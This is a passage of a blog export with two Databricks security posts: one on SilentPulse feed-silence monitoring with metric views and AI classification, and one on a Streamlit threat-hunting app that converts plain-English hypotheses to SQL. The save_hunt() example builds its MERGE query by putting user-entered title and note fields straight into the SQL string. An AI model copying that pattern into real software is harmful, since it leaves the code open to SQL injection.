pipeline continues without interruption.\nFull SDP pipeline with foreachBatch sink # Putting it all together - a complete Spark Declarative Pipeline that reads from Zerobus, builds a gold materialized view, and reports telemetry to SilentPulse in parallel:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pyspark import pipelines as dp from pyspark.sql import functions as F from silentpulse_sdp import report_batch import silentpulse_sdp silentpulse_sdp.configure( api_url=dbutils.secrets.get(\u0026#34;silentpulse\u0026#34;, \u0026#34;api_url\u0026#34;), api_token=dbutils.secrets.get(\u0026#34;silentpulse\u0026#34;, \u0026#34;api_token\u0026#34;), ) # Source streaming table @dp.table(name=\u0026#34;zerobus_ingestion\u0026#34;) def zerobus_ingestion(): return spark.readStream.table(\u0026#34;demo.default.zerobus_ingestion\u0026#34;) # Gold materialized view - events per host per hour @dp.materialized_view(name=\u0026#34;gold_host_hourly\u0026#34;) def gold_host_hourly(): return ( spark.read.table(\u0026#34;zerobus_ingestion\u0026#34;) .groupBy( \u0026#34;host\u0026#34;, F.date_trunc(\u0026#34;hour\u0026#34;, (F.col(\u0026#34;timestamp\u0026#34;) / 1000).cast(\u0026#34;timestamp\u0026#34;)).alias(\u0026#34;hour\u0026#34;), ) .agg( F.count(\u0026#34;*\u0026#34;).alias(\u0026#34;event_count\u0026#34;), F.max(\u0026#34;timestamp\u0026#34;).alias(\u0026#34;last_seen\u0026#34;), ) ) # SilentPulse telemetry sink @dp.foreach_batch_sink(name=\u0026#34;silentpulse_sink\u0026#34;) def silentpulse_sink(batch_df, batch_id): from silentpulse_sdp import report_batch report_batch( batch_df, batch_id, integration_point=\u0026#34;zerobus-ingest\u0026#34;, asset_column=\u0026#34;host\u0026#34;, min_rows=5, expected_columns=[\u0026#34;host\u0026#34;, \u0026#34;timestamp\u0026#34;], max_delay_seconds=600, ) @dp.append_flow(target=\u0026#34;silentpulse_sink\u0026#34;) def silentpulse_flow(): return spark.readStream.table(\u0026#34;zerobus_ingestion\u0026#34;) The pipeline DAG shows the three components: streaming table feeding both the gold MV and the SilentPulse sink in parallel:\nThe foreach_batch_sink is a first-class SDP construct. It handles checkpointing, retries, and lifecycle automatically. Each micro-batch flows through report_batch() which sends per-asset heartbeat, volume, completeness, and freshness telemetry to SilentPulse without blocking the pipeline.\nPart 4: Metric Views for visibility KPIs # Raw data is useful. Governed metrics are better. Unity Catalog Metric Views (available on DBR 17.2+) let you define reusable measures in YAML and query them with MEASURE().\nI built two metric views for SilentPulse data. The SQL to deploy them:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 CREATE OR REPLACE VIEW silentpulse.monitoring.alert_metrics WITH METRICS LANGUAGE YAML AS $$ version: 1.1 comment: \u0026#34;Security telemetry visibility metrics from SilentPulse alerts\u0026#34; source: silentpulse.monitoring.alerts dimensions: - name: Severity expr: severity - name: Alert Type expr: alert_type - name: Asset Group expr: asset_group_name - name: Flow Name expr: flow_name - name: Alert Day expr: DATE_TRUNC(\u0026#39;DAY\u0026#39;, started_at) - name: Alert Week expr: DATE_TRUNC(\u0026#39;WEEK\u0026#39;, started_at) measures: - name: Active Alerts expr: COUNT(CASE WHEN status = \u0026#39;active\u0026#39; THEN 1 END) - name: Silent Feeds expr: COUNT(CASE WHEN status = \u0026#39;active\u0026#39; AND alert_type = \u0026#39;silence\u0026#39; THEN 1 END) - name: Blind Spot Hours expr: SUM(TIMESTAMPDIFF(HOUR, started_at, COALESCE(resolved_at, current_timestamp()))) - name: Mean Time to Detect (min) expr: AVG(TIMESTAMPDIFF(MINUTE, started_at, resolved_at)) - name: Max Gap Duration (hours) expr: MAX(TIMESTAMPDIFF(HOUR, started_at, COALESCE(resolved_at, current_timestamp()))) $$; The metric view separates what you measure from how you group it. The same Blind Spot Hours measure works whether you group by severity, by asset group, by week, or by all three at once.\nQuery it:\n1 2 3 4 5 6 7 8 9 SELECT `Severity`, `Asset Group`, MEASURE(`Active Alerts`) AS active_alerts, MEASURE(`Silent Feeds`) AS silent_feeds, MEASURE(`Blind Spot Hours`) AS blind_spot_hours FROM silentpulse.monitoring.alert_metrics GROUP BY ALL ORDER BY active_alerts DESC A second metric view covers feed health with measures like Total Assets and Coverage Pct, using the same pattern against silentpulse.monitoring.coverage.\nThese metrics are first-class objects in Unity Catalog. They show up in Catalog Explorer with their dimensions and measures listed. They work natively with AI/BI Dashboards and Genie Spaces. And because they\u0026rsquo;re governed by UC, access controls apply automatically.\nPart 5: AI-powered root cause analysis # An alert tells you that host3b went silent. It doesn\u0026rsquo;t tell you why. Was it a network outage? A credential rotation? A pipeline failure? A decommissioned host?\nDatabricks AI Functions answer that question with one SQL call. No model to deploy, no endpoint to manage, no GPU to provision.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 SELECT id, asset_identifier, flow_name, severity, ai_classify( CONCAT( \u0026#39;Security feed \u0026#34;\u0026#39;, flow_name, \u0026#39;\u0026#34; monitoring host \u0026#34;\u0026#39;, asset_identifier, \u0026#39;\u0026#34; went silent at \u0026#39;, CAST(started_at AS STRING), \u0026#39;. This host was sending telemetry via NiFi -\u0026gt; Kafka -\u0026gt; ZeroBus pipeline.\u0026#39;, \u0026#39; Alert type: \u0026#39;, alert_type, \u0026#39;. Severity: \u0026#39;, severity, \u0026#39;.\u0026#39; ), ARRAY( \u0026#39;network_outage\u0026#39;, \u0026#39;credential_rotation\u0026#39;, \u0026#39;source_decommission\u0026#39;, \u0026#39;pipeline_failure\u0026#39;, \u0026#39;rate_limiting\u0026#39;, \u0026#39;maintenance_window\u0026#39; ) ) AS probable_cause FROM silentpulse.monitoring.alerts WHERE status = \u0026#39;active\u0026#39; ORDER BY started_at DESC ai_classify takes a text description and a set of labels, and returns the most likely match. For host3b, which we know stopped because we killed the NiFi processor, it returns pipeline_failure. No model training. No prompt engineering. One function call.\nFor an executive summary across all active alerts:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 WITH alert_context AS ( SELECT CONCAT_WS(\u0026#39;\\n\u0026#39;, CONCAT(\u0026#39;Total active alerts: \u0026#39;, COUNT(*)), CONCAT(\u0026#39;High severity: \u0026#39;, COUNT(CASE WHEN severity = \u0026#39;high\u0026#39; THEN 1 END)), CONCAT(\u0026#39;Affected hosts: \u0026#39;, ARRAY_JOIN(COLLECT_SET(asset_identifier), \u0026#39;, \u0026#39;)), CONCAT(\u0026#39;Affected flows: \u0026#39;, ARRAY_JOIN(COLLECT_SET(flow_name), \u0026#39;, \u0026#39;)), \u0026#39;These hosts send security telemetry via NiFi -\u0026gt; Kafka -\u0026gt; ZeroBus to Databricks.\u0026#39;, \u0026#39;SilentPulse monitors whether each host is reporting as expected.\u0026#39; ) AS context FROM silentpulse.monitoring.alerts WHERE status = \u0026#39;active\u0026#39; ) SELECT ai_summarize(context, 50) AS executive_summary FROM alert_context One paragraph that your CISO can read. Generated from live data, not a static report.\nPersisting enriched data # For dashboards and automation, materialize the AI-enriched alerts:\n1 2 3 4 5 6 7 8 9 10 11 12 CREATE OR REPLACE TABLE silentpulse.monitoring.alerts_enriched AS SELECT a.*, ai_classify( CONCAT(\u0026#39;Host \u0026#34;\u0026#39;, asset_identifier, \u0026#39;\u0026#34; on flow \u0026#34;\u0026#39;, flow_name, \u0026#39;\u0026#34; silent since \u0026#39;, CAST(started_at AS STRING), \u0026#39;. NiFi/Kafka/ZeroBus pipeline. Type: \u0026#39;, alert_type, \u0026#39;.\u0026#39;), ARRAY(\u0026#39;network_outage\u0026#39;, \u0026#39;credential_rotation\u0026#39;, \u0026#39;source_decommission\u0026#39;, \u0026#39;pipeline_failure\u0026#39;, \u0026#39;rate_limiting\u0026#39;, \u0026#39;maintenance_window\u0026#39;) ) AS probable_cause FROM silentpulse.monitoring.alerts a WHERE status = \u0026#39;active\u0026#39; Now you have a Delta table with AI-classified root causes that updates on every refresh. Dashboards, alerts, notebooks - all can query it directly.\nPart 6: The dashboard # Everything above feeds into an AI/BI Dashboard. KPI counters at the top, charts in the middle, detail tables at the bottom. All querying the same Delta tables and metric views.\nRow 1 - KPI cards:\nActive Alerts (counter) Blind Spot Hours (counter) Affected Hosts (counter) Row 2 - Charts:\nRoot Cause Distribution (pie chart from alerts_enriched) Severity Breakdown by Cause (stacked bar) Row 3 - Detail:\nTop Affected Hosts (table with event counts and alert status) AI Insights with recommended actions The dashboard is backed by six SQL queries. The full query set is in the repo at examples/dashboards/ai-enriched-alerts.sql.\nPart 7: Natural language queries with Genie # The final layer. A Genie Space configured with the SilentPulse tables and metric views, where anyone can ask questions in plain English.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from databricks.sdk import WorkspaceClient w = WorkspaceClient() space = w.genie.create_space( title=\u0026#34;SilentPulse Security Visibility\u0026#34;, description=( \u0026#34;Ask questions about security telemetry visibility, alert trends, \u0026#34; \u0026#34;feed health, and detection coverage monitored by SilentPulse.\u0026#34; ), warehouse_id=WAREHOUSE_ID, table_identifiers=[ \u0026#34;silentpulse.monitoring.alerts\u0026#34;, \u0026#34;silentpulse.monitoring.flows\u0026#34;, \u0026#34;silentpulse.monitoring.coverage\u0026#34;, \u0026#34;silentpulse.monitoring.alert_metrics\u0026#34;, \u0026#34;silentpulse.monitoring.feed_health_metrics\u0026#34;, ], sample_questions=[ \u0026#34;Which security feeds went silent in the last 24 hours?\u0026#34;, \u0026#34;What is our current detection coverage percentage?\u0026#34;, \u0026#34;How many active alerts are there by severity?\u0026#34;, \u0026#34;Which asset groups have the most blind spot hours?\u0026#34;, ], ) Ask \u0026ldquo;Which security feeds went silent in the last 24 hours?\u0026rdquo; and Genie translates it to SQL, returns a result table with flow names, asset groups and alert counts, and even generates a bar chart breakdown:\nThe metric views make Genie\u0026rsquo;s answers more accurate because the metrics are pre-defined. Genie doesn\u0026rsquo;t have to guess how to calculate \u0026ldquo;blind spot hours\u0026rdquo; - it uses MEASURE() on the metric view directly.\nThe complete picture # Here\u0026rsquo;s what the full stack looks like:\nflowchart TB subgraph Sources[\u0026#34;Security Telemetry\u0026#34;] H1[\u0026#34;host1\u0026#34;] \u0026amp; H2[\u0026#34;host2\u0026#34;] \u0026amp; H3[\u0026#34;host3a\u0026#34;] \u0026amp; H4[\u0026#34;host3b\u0026#34;] end subgraph NiFi[\u0026#34;Apache NiFi\u0026#34;] MC[\u0026#34;MergeContent\u0026#34;] --\u0026gt; ZB[\u0026#34;PutZerobusIngest\u0026#34;] end subgraph Databricks[\u0026#34;Databricks Lakehouse\u0026#34;] Delta[\u0026#34;demo.default.zerobus_ingestion\\n(Delta Table)\u0026#34;] SP_Tables[\u0026#34;silentpulse.monitoring.*\\n(Alerts, Flows, Coverage)\u0026#34;] MV[\u0026#34;Metric Views\\n(Alert KPIs, Feed Health)\u0026#34;] AI[\u0026#34;AI Functions\\n(ai_classify, ai_summarize)\u0026#34;] Dash[\u0026#34;AI/BI Dashboard\u0026#34;] Genie[\u0026#34;Genie Space\u0026#34;] end subgraph SilentPulse[\u0026#34;SilentPulse\u0026#34;] Monitor[\u0026#34;Asset-level\\nMonitoring\u0026#34;] API[\u0026#34;REST API\u0026#34;] end Sources --\u0026gt; MC ZB --\u0026gt; Delta Monitor --\u0026gt;|\u0026#34;silence detection\u0026#34;| API API --\u0026gt;|\u0026#34;spark.read.format(\u0026#39;silentpulse\u0026#39;)\u0026#34;| SP_Tables SP_Tables --\u0026gt; MV SP_Tables --\u0026gt; AI AI --\u0026gt; Dash MV --\u0026gt; Dash MV --\u0026gt; Genie Delta -.-\u0026gt;|\u0026#34;SDP decorators + foreachBatch\\n(heartbeat, volume, freshness)\u0026#34;| API style Monitor fill:#6366f1,color:#fff style AI fill:#6366f1,color:#fff style MV fill:#10b981,color:#fff Three monitoring layers, each catching different problems:\nLayer What it catches Example SDP Pipeline failures, schema drift, data quality Column went NULL, job crashed, throughput dropped Lakewatch Threats in arriving data Brute force, lateral movement, exfiltration SilentPulse Sources that stopped reporting One host of a thousand went dark, credential expired, agent crashed SDP and Lakewatch work on data that arrives. SilentPulse watches for data that doesn\u0026rsquo;t.\nRunning the demo yourself # Everything you need:\nDatabricks workspace with DBR 15.4+ and a Pro/Serverless SQL Warehouse (17.2+ for Metric Views) SilentPulse instance monitoring your data sources (or the hosted demo) Wheels from GitHub Release v0.1.7 uploaded to a UC Volume 1 2 3 CREATE CATALOG IF NOT EXISTS silentpulse; CREATE SCHEMA IF NOT EXISTS silentpulse.monitoring; CREATE VOLUME IF NOT EXISTS silentpulse.monitoring.packages; Upload the three wheels, install them, and follow the notebooks in examples/. The metric view SQL is at examples/metric-views/deploy-metric-views.sql. The dashboard queries are at examples/dashboards/ai-enriched-alerts.sql.\nThe full repo: github.com/silentpulse-io/silentpulse-databricks\nWhat\u0026rsquo;s next # The SDP package now supports both batch decorators and streaming via foreachBatch, so you get full per-asset telemetry regardless of how your pipeline runs. The DataSource handles batch reads and streaming reads for alerts, plus streaming writes for telemetry ingest.\nUC Discovery is the next piece - automatically scanning Unity Catalog for tables that should have asset-level monitoring and suggesting SilentPulse configurations. If you have 200 Delta tables with a host or source_ip column, you probably want to know when one of those sources stops appearing.\nThe Databricks ecosystem keeps getting deeper. Lakewatch for detection. SDP for pipeline health. AI Functions for classification. Metric Views for governed KPIs. Genie for natural language access. The integration points are there. The missing piece was someone watching whether the sources feeding all of this are actually reporting.\nThat\u0026rsquo;s SilentPulse. See when security goes silent.\nLinks:\nsilentpulse-databricks - Integration repo (Apache 2.0) SilentPulse - Project homepage Databricks Lakewatch announcement Zerobus Ingest + NiFi - Previous post on the data pipeline Metric Views documentation AI Functions documentation ","date":"25 March 2026","externalUrl":null,"permalink":"/posts/lakewatch-blind-spot/","section":"Posts","summary":"","title":"Lakewatch Sees Threats. Who Sees the Blind Spots?","type":"posts"},{"content":"","date":"25 March 2026","externalUrl":null,"permalink":"/tags/metric-views/","section":"Tags","summary":"","title":"Metric-Views","type":"tags"},{"content":"","date":"25 March 2026","externalUrl":null,"permalink":"/tags/nifi/","section":"Tags","summary":"","title":"Nifi","type":"tags"},{"content":"","date":"25 March 2026","externalUrl":null,"permalink":"/tags/silentpulse/","section":"Tags","summary":"","title":"Silentpulse","type":"tags"},{"content":"","date":"25 March 2026","externalUrl":null,"permalink":"/tags/zerobus/","section":"Tags","summary":"","title":"Zerobus","type":"tags"},{"content":"","date":"16 March 2026","externalUrl":null,"permalink":"/tags/ai/","section":"Tags","summary":"","title":"Ai","type":"tags"},{"content":"","date":"16 March 2026","externalUrl":null,"permalink":"/tags/databricks-apps/","section":"Tags","summary":"","title":"Databricks-Apps","type":"tags"},{"content":"","date":"16 March 2026","externalUrl":null,"permalink":"/tags/siem/","section":"Tags","summary":"","title":"Siem","type":"tags"},{"content":"SIEM has been the backbone of security operations for 20 years. It was built for a different era, when log volumes were manageable, detection meant static rules, and \u0026ldquo;AI\u0026rdquo; wasn\u0026rsquo;t part of the conversation.\nI\u0026rsquo;ve spent the last few years migrating security operations away from legacy SIEM toward a Databricks-based Security Data Lake. The difference isn\u0026rsquo;t just architectural. It changes what\u0026rsquo;s possible.\nStatic rules become ML models. Correlation across siloed sources becomes a single SQL query. Retention that used to cost a fortune becomes cheap Delta storage. And threat hunting, which in SIEM means fighting the query language, becomes asking a question in plain English.\nThere\u0026rsquo;s one more thing nobody talks about enough: in a legacy SIEM you write detection logic in whatever proprietary language the vendor decided to give you. You wait for the next release to get a feature you need. You celebrate when they ship a new dashboard as if it\u0026rsquo;s a gift.\nOn a Data Lake you write Python. You write Spark. You use any library that exists. You build exactly what your team needs, not what the vendor decided to package.\nTo make that concrete, I built a threat hunting app running natively on Databricks Apps.\nArchitecture # Before any code, the decisions that matter at scale.\nflowchart TB subgraph Sources[\u0026#34;Security Telemetry\u0026#34;] EDR[\u0026#34;EDR\u0026#34;] NET[\u0026#34;Network\u0026#34;] WIN[\u0026#34;Windows\u0026#34;] DNS[\u0026#34;DNS\u0026#34;] DLP[\u0026#34;DLP\u0026#34;] PROXY[\u0026#34;Proxy\u0026#34;] end subgraph Lakehouse[\u0026#34;Databricks Lakehouse\u0026#34;] Delta[\u0026#34;Delta Tables\\n(one per source)\u0026#34;] UC[\u0026#34;Unity Catalog\\nRBAC + Row/Column Filters\u0026#34;] WH[\u0026#34;Serverless SQL\\nWarehouse\u0026#34;] end subgraph App[\u0026#34;Databricks App\u0026#34;] UI[\u0026#34;Streamlit UI\u0026#34;] LLM[\u0026#34;Foundation Model\\n(natural language → SQL)\u0026#34;] HB[\u0026#34;Hunt Board\\n(Delta-backed)\u0026#34;] end Sources --\u0026gt; Delta UC --\u0026gt; Delta WH --\u0026gt; Delta UI --\u0026gt; WH UI --\u0026gt; LLM LLM --\u0026gt; WH UI --\u0026gt; HB style LLM fill:#6366f1,color:#fff style Delta fill:#1b7c3d,color:#fff style WH fill:#1b7c3d,color:#fff Data layer: Delta tables as the single source of truth. All security telemetry lands in Delta. No copies, no separate indexes per tool. One table per source type, governed by Unity Catalog. Every query in the hunting app runs on the same data your detection pipelines and dashboards use. No sync lag, no version drift.\nAccess model: roles mapped to query scope. Unity Catalog row and column filters enforce what each role can see. An L1 analyst and a threat hunter query the same tables but see different data. The app doesn\u0026rsquo;t manage permissions, Delta does. If you manage access in the app layer, you\u0026rsquo;ll eventually have a gap.\nCompute: serverless SQL warehouse. Hunting queries are unpredictable in size and frequency. Serverless scales to zero between sessions and handles concurrent hunters without sizing decisions.\nAI layer: natural language to SQL. The hunter describes what they\u0026rsquo;re looking for, the model generates SQL. The generated SQL is always shown to the hunter before execution because transparency matters in security workflows. More on the implementation below.\nFrontend: Streamlit on Databricks Apps. Three files: app.py, app.yaml, requirements.txt. No build step, no infrastructure. Config() without arguments handles auth automatically through the Apps OAuth layer. The app inherits workspace permissions, so there\u0026rsquo;s no separate access control to maintain.\nConnection: zero credentials in code # The entire auth story is four lines:\n1 2 3 4 5 6 7 8 9 10 11 12 from databricks.sdk.core import Config from databricks import sql cfg = Config() # auto-configured in Databricks Apps @st.cache_resource def get_conn(): return sql.connect( server_hostname=cfg.host, http_path=HTTP_PATH, credentials_provider=lambda: cfg.authenticate, ) Config() without arguments picks up the app\u0026rsquo;s service principal through the Apps OAuth layer. No client IDs, no secrets in environment variables, no token management. The connection is cached per session via @st.cache_resource, so you get one persistent connection per user, not one per query.\nEvery SQL call goes through a single helper:\n1 2 3 4 5 def run_sql(query: str) -\u0026gt; pd.DataFrame: conn = get_conn() with conn.cursor() as cur: cur.execute(query) return cur.fetchall_arrow().to_pandas() fetchall_arrow() instead of fetchall() because Arrow columnar format is significantly faster for large result sets. The connector deserializes directly into a Pandas DataFrame without row-by-row conversion.\nHypothesis to SQL: the AI layer # This is the part that changes the workflow. A threat hunter shouldn\u0026rsquo;t need to remember column names or write JOINs from memory. They should describe what they\u0026rsquo;re looking for.\nThe key is grounding. An LLM without schema context will hallucinate table and column names. The fix is simple: inject the actual schema into the system prompt at query time via DESCRIBE TABLE.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def hypothesis_to_sql(hypothesis: str, table: str) -\u0026gt; str: schema_df = run_sql(f\u0026#34;DESCRIBE TABLE {table}\u0026#34;) schema_str = \u0026#34;\\n\u0026#34;.join( f\u0026#34; {r[\u0026#39;col_name\u0026#39;]} {r[\u0026#39;data_type\u0026#39;]}\u0026#34; for _, r in schema_df.iterrows() if not str(r.get(\u0026#34;col_name\u0026#34;, \u0026#34;\u0026#34;)).startswith(\u0026#34;#\u0026#34;) ) w = WorkspaceClient() resp = w.serving_endpoints.query( name=LLM_ENDPOINT, messages=[ ChatMessage( role=ChatMessageRole.SYSTEM, content=f\u0026#34;\u0026#34;\u0026#34;You are a senior threat hunter and Databricks SQL expert. Convert the user\u0026#39;s hypothesis into a valid Databricks SQL query. Target table: {table} Schema: {schema_str} Return ONLY the SQL query. No markdown, no explanation, no backticks.\u0026#34;\u0026#34;\u0026#34; ), ChatMessage(role=ChatMessageRole.USER, content=hypothesis), ], max_tokens=600, ) return resp.choices[0].message.content.strip() A few things to note:\nDESCRIBE TABLE runs live against Unity Catalog. If a column is added or renamed, the next hypothesis picks it up automatically. No hardcoded schemas to maintain. The schema filter (startswith(\u0026quot;#\u0026quot;)) strips Spark metadata rows from the DESCRIBE output. Those are partition info and table properties, not columns the LLM should reference. ChatMessage with typed roles from databricks.sdk.service.serving. The SDK\u0026rsquo;s native types, not raw dicts. max_tokens=600 because SQL queries don\u0026rsquo;t need 2048 tokens. Keeping it tight reduces latency and prevents the model from generating explanatory text after the query. The model endpoint (databricks-meta-llama-3-3-70b-instruct) is a Foundation Model. No deployment needed, pay-per-token, available in every workspace. The generated SQL is never executed blindly. It\u0026rsquo;s displayed in an editable text area. The hunter reviews it, optionally modifies, and clicks \u0026ldquo;Run query\u0026rdquo; only when they\u0026rsquo;re satisfied:\n1 2 3 4 5 6 7 8 st.session_state[\u0026#34;sql\u0026#34;] = st.text_area( \u0026#34;sql_edit\u0026#34;, value=st.session_state[\u0026#34;sql\u0026#34;], height=200, label_visibility=\u0026#34;collapsed\u0026#34;, ) if st.button(\u0026#34;▶ Run query\u0026#34;, type=\u0026#34;primary\u0026#34;): df = run_sql(st.session_state[\u0026#34;sql\u0026#34;]) In security, auto-executing AI-generated queries against your full telemetry is not acceptable. The human stays in the loop.\nWhen the LLM endpoint is unavailable (offline workspace, rate limit, testing), the app falls back to a demo query, a CTE-based baseline comparison that demonstrates the pattern without requiring a live model.\nThree views # Hunt Workspace # The hunter types a hypothesis in plain English. The app translates it to SQL, runs it against Delta, returns results. One-click pivot from any result row to the full entity timeline.\nThe screenshot shows a real hypothesis: \u0026ldquo;Hosts that established outbound connections to external IPs between 02:00-05:00 UTC and had no prior history of external communication in the last 30 days.\u0026rdquo; The model generated a CTE-based query with a baseline comparison, exactly what a hunter would write manually, but in seconds instead of minutes.\nResults include a risk column and a one-click \u0026ldquo;Timeline\u0026rdquo; pivot for each entity. 8 rows matched, execution took 2.3 seconds across ~847MB of data.\nThe pivot is simple session state manipulation. Clicking a host name writes it to st.session_state and triggers a rerun that opens the Entity Timeline pre-filled:\n1 2 3 4 if st.button(f\u0026#34;→ {row[\u0026#39;src_host\u0026#39;]}\u0026#34;, key=f\u0026#34;pivot_{i}\u0026#34;): st.session_state[\u0026#34;timeline_entity\u0026#34;] = row[\u0026#34;src_host\u0026#34;] st.session_state[\u0026#34;timeline_type\u0026#34;] = \u0026#34;host\u0026#34; st.rerun() Results can be exported to CSV or saved directly to the Hunt Board with one click.\nEntity Timeline # Click any entity (host, user, IP, process) and get its complete event timeline across all sources in one view. Events grouped by day, filterable by source type. The kind of pivot that takes 20 minutes in a SIEM takes seconds here.\nThe timeline for fin-ws-0471 tells a clear story: normal VPN logon on March 8, then on March 10 an unusual-hour logon, a suspicious DNS resolution, an encoded PowerShell execution, and finally an outbound connection to 185.220.101.47:4444, a known Tor exit node. Six different data sources (network, EDR, Windows, DNS, DLP, proxy), one coherent view. This is what a Lakehouse makes trivial and a SIEM makes painful.\nEvents are rendered with source icons and risk-colored badges, grouped by day with collapsible sections:\n1 2 3 4 5 6 7 8 9 RISK_ICON = {\u0026#34;HIGH\u0026#34;: \u0026#34;🔴\u0026#34;, \u0026#34;MED\u0026#34;: \u0026#34;🟡\u0026#34;, \u0026#34;LOW\u0026#34;: \u0026#34;🔵\u0026#34;, \u0026#34;OK\u0026#34;: \u0026#34;⚪\u0026#34;} SRC_ICON = {\u0026#34;network\u0026#34;: \u0026#34;🌐\u0026#34;, \u0026#34;edr\u0026#34;: \u0026#34;🛡️\u0026#34;, \u0026#34;windows\u0026#34;: \u0026#34;🖥️\u0026#34;, \u0026#34;dns\u0026#34;: \u0026#34;📡\u0026#34;, \u0026#34;dlp\u0026#34;: \u0026#34;📁\u0026#34;, \u0026#34;proxy\u0026#34;: \u0026#34;🔀\u0026#34;} df[\u0026#34;_day\u0026#34;] = df[\u0026#34;event_time\u0026#34;].astype(str).str[:10] for day, group in df.groupby(\u0026#34;_day\u0026#34;, sort=False): with st.expander(f\u0026#34;📅 {day} - {len(group)} events\u0026#34;, expanded=(day == df[\u0026#34;_day\u0026#34;].iloc[0])): for _, row in group.iterrows(): # render time | source icon | event details | risk badge The source filter uses st.pills for quick toggling between All, network, EDR, Windows, DNS, DLP, proxy. One click narrows the view to a single telemetry source.\nAll data sources live in the same Lakehouse. No cross-system API calls, no data stitching, no waiting for index rebuilds. One query, all sources, sub-second response.\nHunt Board # Hypothesis → In Progress → Confirmed → Dismissed. Each hunt is persisted in a Delta table. Full history auditable and queryable, because in a regulated environment, \u0026ldquo;we investigated this\u0026rdquo; needs to be provable.\nThe board state is backed by Delta with MERGE INTO, so every status change is atomic and versioned:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def save_hunt(hunt: dict): run_sql(f\u0026#34;\u0026#34;\u0026#34; MERGE INTO {HUNTS_TABLE} AS t USING (SELECT \u0026#39;{hunt[\u0026#34;id\u0026#34;]}\u0026#39; AS id) AS s ON t.id = s.id WHEN MATCHED THEN UPDATE SET title = \u0026#39;{hunt[\u0026#34;title\u0026#34;]}\u0026#39;, status = \u0026#39;{hunt[\u0026#34;status\u0026#34;]}\u0026#39;, analyst = \u0026#39;{hunt.get(\u0026#34;analyst\u0026#34;, \u0026#34;\u0026#34;)}\u0026#39;, tags = \u0026#39;{json.dumps(hunt.get(\u0026#34;tags\u0026#34;, []))}\u0026#39;, note = \u0026#39;{hunt.get(\u0026#34;note\u0026#34;, \u0026#34;\u0026#34;)}\u0026#39;, updated = \u0026#39;{datetime.now().strftime(\u0026#34;%Y-%m-%d\u0026#34;)}\u0026#39;, progress = {hunt.get(\u0026#34;progress\u0026#34;, 0)} WHEN NOT MATCHED THEN INSERT (id, title, status, analyst, tags, note, updated, progress) VALUES (...) \u0026#34;\u0026#34;\u0026#34;) Status transitions are two buttons per card: \u0026ldquo;Start\u0026rdquo; / \u0026ldquo;Confirm\u0026rdquo; to advance, \u0026ldquo;Dismiss\u0026rdquo; to close. Each transition calls save_hunt() with the new status and triggers st.rerun(). No separate state management. Delta is the state.\nBecause it\u0026rsquo;s Delta, you get time travel for free. \u0026ldquo;What was the state of all hunts on March 10?\u0026rdquo; is a single query:\n1 2 3 SELECT * FROM security.hunts.board TIMESTAMP AS OF \u0026#39;2026-03-10\u0026#39; WHERE status = \u0026#39;in_progress\u0026#39; Try doing that in Jira.\nDemo mode # The app is designed to work without a live Databricks environment. When WAREHOUSE_ID is not set, every component falls back gracefully:\nHunt Workspace: the LLM fallback returns a realistic CTE-based demo query with synthetic results Entity Timeline: shows the fin-ws-0471 attack chain with hardcoded events across six source types Hunt Board: loads sample hunts covering lateral movement, DNS tunneling, privilege escalation, and confirmed IOCs This matters for two reasons: you can show the concept to stakeholders without provisioning a warehouse, and you can develop the UI locally without network access.\n1 2 3 4 5 @st.cache_resource def get_conn(): if not WAREHOUSE_ID: return None # triggers demo mode throughout the app return sql.connect(...) Deploy # The whole thing is three files:\napp.py # the entire application app.yaml # Databricks Apps config requirements.txt # databricks-sdk, databricks-sql-connector, streamlit, pandas 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # app.yaml command: - streamlit - run - app.py env: - name: WAREHOUSE_ID value: \u0026#34;your_warehouse_id\u0026#34; - name: LLM_ENDPOINT value: \u0026#34;databricks-meta-llama-3-3-70b-instruct\u0026#34; - name: EVENTS_TABLE value: \u0026#34;security.events.network_connections\u0026#34; - name: HUNTS_TABLE value: \u0026#34;security.hunts.board\u0026#34; Upload to your Databricks workspace, create an App, point it at the folder, start. Config() handles auth. Unity Catalog handles access. The hunts table auto-creates on first use via CREATE TABLE IF NOT EXISTS ... USING DELTA.\nWhat this is not # This is a PoC, not a finished product. The hunt board doesn\u0026rsquo;t have drag-and-drop in the Streamlit version. The LLM prompt will produce wrong SQL on sufficiently unusual schemas. There\u0026rsquo;s no user identity beyond what Databricks Apps passes through.\nThe production version of this is a different conversation, one I\u0026rsquo;m not ready to have publicly yet.\nWhat it does show: when you stop treating the Security Data Lake as a cheaper SIEM and start treating it as a different category of tool, the ceiling moves significantly.\nLinks:\ndatabricks-threathunt - full source code (Apache 2.0) Databricks Apps documentation Foundation Model APIs Unity Catalog row and column filters Delta Lake time travel If you found this useful, let\u0026rsquo;s connect: linkedin.com/in/mariusz-derela-30649a69\n","date":"16 March 2026","externalUrl":null,"permalink":"/posts/siem-legacy-threathunt/","section":"Posts","summary":"","title":"SIEM is legacy - building a threat hunting app on a Security Data Lake","type":"posts"},{"content":"","date":"16 March 2026","externalUrl":null,"permalink":"/tags/threat-hunting/","section":"Tags","summary":"","title":"Threat-Hunting","type":"tags"},{"content":"","date":"13 March 2026","externalUrl":null,"permalink":"/tags/detection-as-code/","section":"Tags","summary":"","title":"Detection-as-Code","type":"tags"},{"content":"Every SIEM I\u0026rsquo;ve worked with treats detection rules the same way: you click through a GUI, write some vendor-specific query language, hit save, and pray it doesn\u0026rsquo;t fire 10,000 false positives on Monday morning. No version history. No tests. No peer review. No rollback.\nI\u0026rsquo;ve spent years migrating security operations from traditional SIEMs to data lake architectures. The biggest unlock wasn\u0026rsquo;t the storage or the compute. It was the moment we started treating detection rules like software.\nThis post walks through a Detection-as-Code framework built entirely on Databricks: rules in YAML, tests against real data in Delta Lake, CI/CD via Databricks Workflows, and a Databricks App as the management UI. Everything runs in the Lakehouse. No external tools required.\nWhy SIEM-style detection doesn\u0026rsquo;t scale # Traditional SIEM detection has three problems that get worse with scale:\n1. Tribal 